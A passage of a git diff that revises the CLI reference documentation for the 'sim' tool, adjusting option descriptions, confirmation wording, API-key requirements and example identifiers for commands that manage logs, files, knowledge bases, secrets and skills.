per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -85,12 +85,12 @@ sim logs list [options] | `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | | `--status ` | No | Comma-separated execution statuses to include, from `pending` \| `running` \| `paused` \| `redacting` \| `completed` \| `failed` \| `cancelled`. An empty entry is rejected. ANDed with `level`, which reports severity rather than lifecycle. | | `--workflow-name ` | No | Case-insensitive substring match against the run's workflow name. Runs whose workflow has been deleted match nothing, because the name is no longer joinable. | -| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | +| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | | `--no-include-job-runs` | No | Send --include-job-runs as false. | | `--run-id ` | No | Exact run identifier to match. | -| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | +| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -106,9 +106,9 @@ sim logs follow [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Only follow runs of this workflow (repeatable). Defaults to ``. | -| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). Defaults to ``. | -| `--trigger ` | No | Only follow runs with this trigger type (repeatable). Defaults to ``. | +| `--workflow ` | No | Only follow runs of this workflow (repeatable). | +| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). | +| `--trigger ` | No | Only follow runs with this trigger type (repeatable). | | `--level ` | No | Only follow runs at this severity. Accepted values: `info`, `error`. | | `--details ` | No | Response detail level; full names each run’s workflow. Accepted values: `basic`, `full`. Defaults to `full`. | | `-n, --lines ` | No | Recent runs to print before watching. Defaults to `10`. | diff --git a/apps/docs/content/docs/en/cli/mcp-servers.mdx b/apps/docs/content/docs/en/cli/mcp-servers.mdx index c099de5b6a9..db0f65a115a 100644 --- a/apps/docs/content/docs/en/cli/mcp-servers.mdx +++ b/apps/docs/content/docs/en/cli/mcp-servers.mdx @@ -58,7 +58,7 @@ sim mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -103,6 +103,8 @@ sim mcp-servers list [options] sim mcp-servers tools list [options] ``` +List MCP Server Tools (personal API key required) + **Arguments** diff --git a/apps/docs/content/docs/en/cli/output.mdx b/apps/docs/content/docs/en/cli/output.mdx index 1c431f838d8..b85aa9cb431 100644 --- a/apps/docs/content/docs/en/cli/output.mdx +++ b/apps/docs/content/docs/en/cli/output.mdx @@ -15,7 +15,7 @@ Every command renders through the same four formats. Select one per command, save it to the profile, or set it in the environment: ```bash -sim tables get tbl_123 --output json +sim tables get tbl_9f3c1a05d4b7426e8c2f0917ab35de64 --output json sim configure --set-output json SIM_OUTPUT=yaml sim logs list > logs.yaml ``` @@ -47,14 +47,14 @@ An absent value is an em-dash in `table` and an empty field in `text`. with span inputs, outputs, errors, timing, and cost: ```bash -sim logs get run_123 --trace +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --trace ``` `json` and `yaml` always carry the complete response, so `--trace` is a no-op there: ```bash -sim logs get run_123 --output json | jq '.traceSpans' +sim logs get 9c4f0b7e-2d81-4a35-b6e9-70f1c8a2d543 --output json | jq '.traceSpans' ``` ## Exceptions @@ -66,6 +66,6 @@ configuration, not API data. so that it round-trips through `import`: ```bash -sim workflows export wf_123 > wf.json +sim workflows export 3a9e21d8-5f47-4c0b-b2ea-91d7c6034ef8 > wf.json sim workflows import --workflow @wf.json ``` diff --git a/apps/docs/content/docs/en/cli/reference.mdx b/apps/docs/content/docs/en/cli/reference.mdx index a2db7d27cbf..f90021ebee2 100644 --- a/apps/docs/content/docs/en/cli/reference.mdx +++ b/apps/docs/content/docs/en/cli/reference.mdx @@ -175,7 +175,7 @@ Also spelled `sim audit-log`. ### sim audit-logs get -Get Audit Log +Get Audit Log (personal API key required) ```bash sim audit-logs get [options] @@ -203,7 +203,7 @@ sim audit-logs get [options] ### sim audit-logs list -List Audit Logs +List Audit Logs (personal API key required) ```bash sim audit-logs list [options] @@ -251,7 +251,7 @@ sim billing status [options] ### sim billing logs -List credit usage events +List credit usage events (a personal API key reports only your own events; a workspace API key reports every member's in aggregate, unattributed) ```bash sim billing logs [options] @@ -367,7 +367,7 @@ Also spelled `sim credential`. ### sim credentials delete -Disconnect Credential +Disconnect Credential (personal API key required) ```bash sim credentials delete [options] @@ -389,7 +389,7 @@ sim credentials delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -436,7 +436,7 @@ sim credentials list [options] ### sim credentials update -Update Credential +Update Credential (personal API key required) ```bash sim credentials update [options] @@ -479,7 +479,7 @@ sim credentials update [options] ### sim credentials create -Create a service-account credential using its discovered provider schema +Create a service-account credential using its discovered provider schema (personal API key required) ```bash sim credentials create [options] @@ -510,7 +510,7 @@ sim credentials create [options] ### sim credentials connect -Create a short-lived link for connecting an OAuth provider +Create a short-lived link for connecting an OAuth provider (personal API key required) ```bash sim credentials connect [options] @@ -538,7 +538,7 @@ sim credentials connect [options] ### sim credentials reconnect -Create a short-lived link for reconnecting an OAuth credential +Create a short-lived link for reconnecting an OAuth credential (personal API key required) ```bash sim credentials reconnect @@ -602,7 +602,7 @@ sim custom-tools delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -693,8 +693,8 @@ sim files batch-delete [options] | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | @@ -763,13 +763,13 @@ sim files folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim files folders list -List Folders +List folders ```bash sim files folders list [options] @@ -787,7 +787,7 @@ Also available as `sim files folders ls`. | `--search ` | No | Case-insensitive substring match against the folder name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `createdAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive `DELETE` soft-deleted, which is how a caller finds a path to hand to `POST /api/v2/files/folders/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) returns live folders only; `archived` returns folders a recursive delete soft-deleted, which is how a caller finds a path to hand to the folder restore. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -854,7 +854,7 @@ sim files delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -882,7 +882,7 @@ sim files describe [options] | Option | Required | Description | | --- | --- | --- | -| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a `DELETE` soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before `POST /files/{fileId}/restore`. Authorization is identical for both. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to read from: `active` (default) resolves live files only and returns `404` for a file a delete soft-deleted; `archived` also resolves soft-deleted files, so metadata stays readable before the file is restored. Authorization is identical for both. Accepted values: `active`, `archived`. | @@ -906,7 +906,7 @@ sim files share get ### sim files share set -Enable or disable sharing for a file +Enable or disable sharing for a file (personal API key required) ```bash sim files share set [options] @@ -931,7 +931,7 @@ sim files share set [options] | `--is-active ` | Yes | Whether the share should resolve. Disabling preserves the token and the whole access configuration, so re-enabling restores the share as it was; enabling rewrites the credentials the resulting mode does not use. Accepted values: `true`, `false`. | | `--auth-type ` | No | How access to the share is gated. The stored mode is kept when omitted. Enabling `public` clears the stored password and empties `allowedEmails`; `password` empties `allowedEmails`; `email` and `sso` clear the stored password. Accepted values: `public`, `password`, `email`, `sso`. | | `--password ` | No | Password for a password-gated share. Kept when omitted; enabling `password` with neither a supplied nor a stored password is a 400. | -| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line). | +| `--allowed-emails ` | No | Allowed addresses or `@domain` patterns for email and SSO shares. Kept when omitted; enabling `email` or `sso` with an empty resulting list is a 400. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -952,7 +952,7 @@ sim files list [options] | `--folder ` | No | Folder path as shown in the app; the leading / is optional. | | `--recursive` | No | Whether the folder filter includes files in subfolders. Defaults to true when a search is set, false otherwise, so listing a folder shows that folder while searching one looks through everything in it. Ignored when no folder filter is set, which already spans the workspace. | | `--no-recursive` | No | Send --recursive as false. | -| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a `DELETE` soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | +| `--scope ` | No | Which lifecycle set to list: `active` (default) for live files, `archived` for files a delete soft-deleted. `folderPath` resolves against active folders only, so pairing it with `scope=archived` returns an empty page when the containing folder was archived too. Accepted values: `active`, `archived`. | | `--search ` | No | Case-insensitive substring match against the file name. | | `--sort-by ` | No | Field used to sort the result. Sorting by `name` is case-sensitive and follows the storage collation, so do not rely on a case-insensitive order. Accepted values: `name`, `size`, `uploadedAt`, `updatedAt`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | @@ -976,7 +976,7 @@ Also available as `sim files mv`. | Option | Required | Description | | --- | --- | --- | -| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--file-ids ` | Yes | File identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--to ` | No | Destination folder path; omit for root. | @@ -1079,7 +1079,7 @@ sim files unzip [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1223,7 +1223,7 @@ Also spelled `sim kb`. ### sim knowledge from-workspace-files create -Index files the workspace already stores +Index files the workspace already stores (personal API key required) ```bash sim knowledge from-workspace-files create [options] @@ -1245,13 +1245,13 @@ sim knowledge from-workspace-files create [options] | Option | Required | Description | | --- | --- | --- | -| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line). | +| `--file ` | Yes | Workspace file ID or key (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim knowledge tags save -Declare the tag definitions a knowledge base needs +Declare the tag definitions a knowledge base needs (personal API key required) ```bash sim knowledge tags save [options] @@ -1279,7 +1279,7 @@ sim knowledge tags save [options] ### sim knowledge tags create -Create Tag +Create Tag (personal API key required) ```bash sim knowledge tags create [options] @@ -1309,7 +1309,7 @@ sim knowledge tags create [options] ### sim knowledge tags delete -Delete Tag +Delete Tag (personal API key required) ```bash sim knowledge tags delete [options] @@ -1332,13 +1332,13 @@ sim knowledge tags delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge tags cleanup -Remove tag definitions no document still uses +Remove tag definitions no document still uses (personal API key required) ```bash sim knowledge tags cleanup [options] @@ -1362,13 +1362,13 @@ sim knowledge tags cleanup [options] | --- | --- | --- | | `--unused` | No | Whether to remove only the tag definitions no document in the knowledge base still carries a value for. Defaults to true. Pass --no-unused to delete every definition on the knowledge base, which also clears its slot on every document and chunk and is not recoverable. | | `--no-unused` | No | Send --unused as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge tags next-slot -Show which tag slot a create would take for a field type +Show which tag slot a create would take for a field type (personal API key required) ```bash sim knowledge tags next-slot [options] @@ -1414,7 +1414,7 @@ sim knowledge tags list ### sim knowledge tags usage -Show how many documents and chunks carry each tag +Show how many documents and chunks carry each tag (personal API key required) ```bash sim knowledge tags usage @@ -1432,7 +1432,7 @@ sim knowledge tags usage ### sim knowledge tags update -Update Tag +Update Tag (personal API key required) ```bash sim knowledge tags update [options] @@ -1462,7 +1462,7 @@ sim knowledge tags update [options] ### sim knowledge chunks batch-update -Enable, disable, or delete many chunks at once +Enable, disable, or delete many chunks at once (personal API key required) ```bash sim knowledge chunks batch-update [options] @@ -1486,14 +1486,14 @@ sim knowledge chunks batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | What to do with the selected chunks. Accepted values: `enable`, `disable`, `delete`. | -| `--chunk ` | Yes | Chunks to operate on, by identifier. Ids outside the document are ignored. (space-separated, or @path / @- with one value per line). | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `--chunk ` | Yes | Chunks to operate on, by identifier. An id naming no chunk in the document is reported in errors and does not fail the request. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge chunks create -Create Chunk +Create Chunk (personal API key required) ```bash sim knowledge chunks create [options] @@ -1524,7 +1524,7 @@ sim knowledge chunks create [options] ### sim knowledge chunks delete -Delete Chunk +Delete Chunk (personal API key required) ```bash sim knowledge chunks delete [options] @@ -1548,13 +1548,13 @@ sim knowledge chunks delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge chunks get -Get Chunk +Get Chunk (personal API key required) ```bash sim knowledge chunks get @@ -1574,7 +1574,7 @@ sim knowledge chunks get ### sim knowledge chunks list -List Chunks +List Chunks (personal API key required) ```bash sim knowledge chunks list [options] @@ -1607,7 +1607,7 @@ sim knowledge chunks list [options] ### sim knowledge chunks update -Update Chunk +Update Chunk (personal API key required) ```bash sim knowledge chunks update [options] @@ -1639,7 +1639,7 @@ sim knowledge chunks update [options] ### sim knowledge documents batch-update -Enable or disable every matching document +Enable or disable every matching document (personal API key required) ```bash sim knowledge documents batch-update [options] @@ -1662,7 +1662,7 @@ sim knowledge documents batch-update [options] | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether the selected documents become enabled or disabled for search. Accepted values: `enable`, `disable`. | -| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line). | +| `--document ` | No | Documents to update, by identifier. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--select-all` | No | Apply to every document in the knowledge base. | | `--enabled-filter ` | No | With `selectAll`, restrict the update to documents in this state. Accepted values: `all`, `enabled`, `disabled`. | @@ -1693,7 +1693,7 @@ sim knowledge documents delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -1751,7 +1751,7 @@ sim knowledge documents list [options] ### sim knowledge documents update -Update Document +Update Document (personal API key required) ```bash sim knowledge documents update [options] @@ -1828,8 +1828,8 @@ sim knowledge documents upload [options] | --- | --- | --- | | `--name ` | No | Store it under a different name. | | `--tag ` | No | Document tags, in tag1 through tag7 order. | -| `--recipe ` | No | Document processing recipe. | -| `--lang ` | No | Document language code. | +| `--recipe ` | No | Document processing recipe. Accepted values: `default`, `plain`, `markdown`, `code`. | +| `--lang ` | No | Document language tag: hyphen-separated letter and digit subtags, for example en or en-US. | @@ -1856,7 +1856,7 @@ sim knowledge create [options] ### sim knowledge connectors create -Create Knowledge Connector +Create Knowledge Connector (personal API key required) ```bash sim knowledge connectors create [options] @@ -1888,7 +1888,7 @@ sim knowledge connectors create [options] ### sim knowledge connectors delete -Delete Knowledge Connector +Delete Knowledge Connector (personal API key required) ```bash sim knowledge connectors delete [options] @@ -1913,13 +1913,13 @@ sim knowledge connectors delete [options] | --- | --- | --- | | `--delete-documents` | No | Also permanently delete documents produced by this connector. | | `--no-delete-documents` | No | Send --delete-documents as false. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge connectors get -Get Knowledge Connector +Get Knowledge Connector (personal API key required) ```bash sim knowledge connectors get @@ -1938,7 +1938,7 @@ sim knowledge connectors get ### sim knowledge connectors documents list -List Knowledge Connector Documents +List Knowledge Connector Documents (personal API key required) ```bash sim knowledge connectors documents list [options] @@ -1969,7 +1969,7 @@ sim knowledge connectors documents list [options ### sim knowledge connectors documents update -Update Knowledge Connector Documents +Update Knowledge Connector Documents (personal API key required) ```bash sim knowledge connectors documents update [options] @@ -1993,13 +1993,13 @@ sim knowledge connectors documents update [optio | Option | Required | Description | | --- | --- | --- | | `--operation ` | Yes | Whether to restore or exclude the selected documents. Accepted values: `restore`, `exclude`. | -| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line). | +| `--document ` | Yes | Connector document identifiers to update. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | ### sim knowledge connectors list -List Knowledge Connectors +List Knowledge Connectors (personal API key required) ```bash sim knowledge connectors list [options] @@ -2029,7 +2029,7 @@ sim knowledge connectors list [options] ### sim knowledge connectors sync -Queue a knowledge connector synchronization +Queue a knowledge connector synchronization (personal API key required) ```bash sim knowledge connectors sync [options] @@ -2059,7 +2059,7 @@ sim knowledge connectors sync [options] ### sim knowledge connectors update -Update Knowledge Connector +Update Knowledge Connector (personal API key required) ```bash sim knowledge connectors update [options] @@ -2131,13 +2131,13 @@ sim knowledge folders delete [options] | Option | Required | Description | | --- | --- | --- | | `--recursive` | No | Delete the folder and its descendants. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim knowledge folders list -List Folders +List knowledge folders ```bash sim knowledge folders list [options] @@ -2203,7 +2203,7 @@ sim knowledge delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2280,7 +2280,7 @@ sim knowledge search [options] | Option | Required | Description | | --- | --- | --- | -| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line). | +| `--kb ` | Yes | Knowledge base ID (repeatable) (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--query ` | No | Text to search for. | | `--top-k ` | No | Maximum number of search results to return. Must be a whole number between 1 and 100; the boundary schema only bounds the range, so a fractional value is admitted here and then rejected with 400 during search. | | `--tag-filters ` | No | Tag filters as [{"tagName":"...","operator":"...","value":"..."}] (JSON, or @path / @- to read a file or stdin). | @@ -2423,7 +2423,7 @@ sim logs get [options] ### sim logs stats -Summarize run counts, failures, and cost over a window +Summarize run counts, failures and latency over a window ```bash sim logs stats [options] @@ -2435,9 +2435,9 @@ sim logs stats [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line). | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. At most 200 entries. An empty entry is rejected. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. The vocabulary is open, so an unrecognized member selects no runs; the literal `all` disables this filter. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -2459,8 +2459,8 @@ sim logs list [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line). | -| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line). | +| `--workflow ` | No | Comma-separated workflow identifiers to include. An empty entry is rejected. At most 200 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | +| `--trigger ` | No | Comma-separated trigger types to include. An empty entry is rejected. Values are matched exactly and are case-sensitive — every recorded trigger is lowercase, so `API` matches nothing while `api` matches. The vocabulary is open: it covers the core trigger types (`manual`, `api`, `schedule`, `chat`, `webhook`, `mcp`, `copilot`, `workflow`, `custom_block`) and the provider id of any webhook trigger (`slack`, `gmail`, `github`, …), so an unrecognized member is not rejected — it selects no runs. The literal value `all` is a sentinel that disables this filter entirely, so a list containing it returns runs of every trigger type; no real trigger type is named `all`. At most 100 entries. (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | | `--level ` | No | Severity level to include. Accepted values: `info`, `error`. | | `--start-date ` | No | Only include runs started at or after this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | | `--end-date ` | No | Only include runs started at or before this UTC ISO 8601 timestamp, e.g. `2026-08-06T00:00:00Z`. A date without a time, or a timestamp carrying a UTC offset instead of `Z`, is rejected, as is year `0000`, which names no storable instant. | @@ -2475,12 +2475,12 @@ sim logs list [options] | `--limit ` | No | Maximum items to return (0 for everything). Defaults to `100`. | | `--status ` | No | Comma-separated execution statuses to include, from `pending` \| `running` \| `paused` \| `redacting` \| `completed` \| `failed` \| `cancelled`. An empty entry is rejected. ANDed with `level`, which reports severity rather than lifecycle. | | `--workflow-name ` | No | Case-insensitive substring match against the run's workflow name. Runs whose workflow has been deleted match nothing, because the name is no longer joinable. | -| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set (`workflowIds`, `workflowName`, `folderPaths`, `model`, or `status`), so a filter never means two different things across the union. Accepted only under `sortBy=startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | +| `--include-job-runs` | No | Whether Chat and Sim-agent job runs join the sequence alongside workflow runs. Job runs report `kind: "job"`, carry no `workflow` summary, and never carry a cost ledger. They are dropped entirely — not partially matched — whenever a filter they cannot answer is set: by workflow, workflow name, folder, model, or status. A filter therefore never means two different things across the union. Accepted only when sorting by `startedAt`: job runs record cost as a document and no comparable status, so they cannot participate in the other orderings. | | `--no-include-job-runs` | No | Send --include-job-runs as false. | | `--run-id ` | No | Exact run identifier to match. | -| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected together with `includeJobRuns=true`. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | +| `--sort-by ` | No | Field used to sort the result. `durationMs` and `cost` are null until a run settles; those runs order as though the value were below every recorded one, so they trail an ascending page and lead a descending one. Only `startedAt` can order Chat and Sim-agent job runs, so any other value is rejected when job runs are included. Accepted values: `startedAt`, `durationMs`, `cost`, `status`. | | `--sort-order ` | No | Sort direction. Accepted values: `asc`, `desc`. | -| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line). | +| `--folder ` | No | Folder path as shown in the app; the leading / is optional (space-separated, or @path / @- with one value per line; @@value for a literal leading @). | @@ -2498,9 +2498,9 @@ sim logs follow [options] | Option | Required | Description | | --- | --- | --- | -| `--workflow ` | No | Only follow runs of this workflow (repeatable). Defaults to ``. | -| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). Defaults to ``. | -| `--trigger ` | No | Only follow runs with this trigger type (repeatable). Defaults to ``. | +| `--workflow ` | No | Only follow runs of this workflow (repeatable). | +| `--folder ` | No | Only follow runs of workflows in this folder (repeatable). | +| `--trigger ` | No | Only follow runs with this trigger type (repeatable). | | `--level ` | No | Only follow runs at this severity. Accepted values: `info`, `error`. | | `--details ` | No | Response detail level; full names each run’s workflow. Accepted values: `basic`, `full`. Defaults to `full`. | | `-n, --lines ` | No | Recent runs to print before watching. Defaults to `10`. | @@ -2565,7 +2565,7 @@ sim mcp-servers delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2610,7 +2610,7 @@ sim mcp-servers list [options] ### sim mcp-servers tools list -List MCP Server Tools +List MCP Server Tools (personal API key required) ```bash sim mcp-servers tools list [options] @@ -2692,7 +2692,7 @@ Also spelled `sim secret`. ### sim secrets delete -Delete Secret +Delete Secret (personal API key required) ```bash sim secrets delete [options] @@ -2704,7 +2704,7 @@ sim secrets delete [options] | Argument | Required | Description | | --- | --- | --- | -| `name` | Yes | Secret to create, replace, or delete. | +| `name` | Yes | Secret to delete. | @@ -2715,13 +2715,13 @@ sim secrets delete [options] | Option | Required | Description | | --- | --- | --- | | `--scope ` | Yes | Whether the secret belongs to the workspace or to the caller. A personal secret belongs to the caller across every workspace, not to one workspace. Accepted values: `workspace`, `personal`. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | ### sim secrets list -List Secrets +List Secrets (personal API key required) ```bash sim secrets list [options] @@ -2743,7 +2743,7 @@ sim secrets list [options] ### sim secrets set -Create or replace a named secret +Create or replace a named secret (personal API key required) ```bash sim secrets set [options] @@ -2779,7 +2779,7 @@ Also spelled `sim skill`. ### sim skills create -Create Skill +Create Skill (personal API key required) ```bash sim skills create [options] @@ -2799,7 +2799,7 @@ sim skills create [options] ### sim skills delete -Delete Skill +Delete Skill (personal API key required) ```bash sim skills delete [options] @@ -2821,7 +2821,7 @@ sim skills delete [options] | Option | Required | Description | | --- | --- | --- | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2845,7 +2845,7 @@ sim skills get ### sim skills editors create -Grant Skill Editor +Grant Skill Editor (personal API key required) ```bash sim skills editors create [options] @@ -2903,7 +2903,7 @@ sim skills editors list [options] ### sim skills editors delete -Revoke Skill Editor +Revoke Skill Editor (personal API key required) ```bash sim skills editors delete [options] @@ -2926,7 +2926,7 @@ sim skills editors delete [options] | Option | Required | Description | | --- | --- | --- | | `--email ` | Yes | Email address of a current workspace member. | -| `-y, --yes` | Yes | Confirm this destructive operation. | +| `-y, --yes` | Yes | Confirm this operation. | @@ -2953,7 +2953,7 @@ sim skills list [options] ### sim skills update -Update Skill +Update Skill (personal API key required) ```bash sim skills update [options] @@ -3038,7 +3038,7 @@ sim tables columns delete [options] | Option | Required | Description | | --- | --- | --- | | `--column-name ` | Yes | Name of the column 